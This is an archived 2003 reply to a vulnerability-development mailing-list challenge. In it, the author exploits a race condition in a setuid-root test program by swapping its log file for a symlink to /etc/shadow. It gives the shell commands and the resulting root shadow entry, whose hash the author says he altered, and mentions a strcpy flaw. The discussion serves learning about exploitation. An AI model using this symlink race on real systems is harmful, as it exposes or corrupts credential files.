|
|||||||||||
|
Re: [Vuln-dev Challenge] Challenge #2
From: Thomas Cannon <tcannon(at)noops.org>
Date: Fri May 23 2003 - 19:48:08 EDT ...and if db.log is perhaps a symlink to /etc/shadow? I assumed the program would be chown'd to root, and set 4755. If this is an invalid assumption, well, no point in reading any further. I compiled the program, stopped it after it writing the input log, made a symlink, and resumed running the program, with lovely results: [tcannon@needle]$ rm db.log [tcannon@needle]$ ln -s /etc/shadow db.log [tcannon@needle]$ fg ./a.out a a root:$1$TlFzTwuXXX.yj55Gy2RVfUd8dSDAE/:11955:0:99999:7::: I like race conditions. No point in wasting your CPU -- that shadowed password did get modified before I sent it to the list :-) Cheers, --tcannon PS: Nice strcpy Received on Sat May 24 13:42:52 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||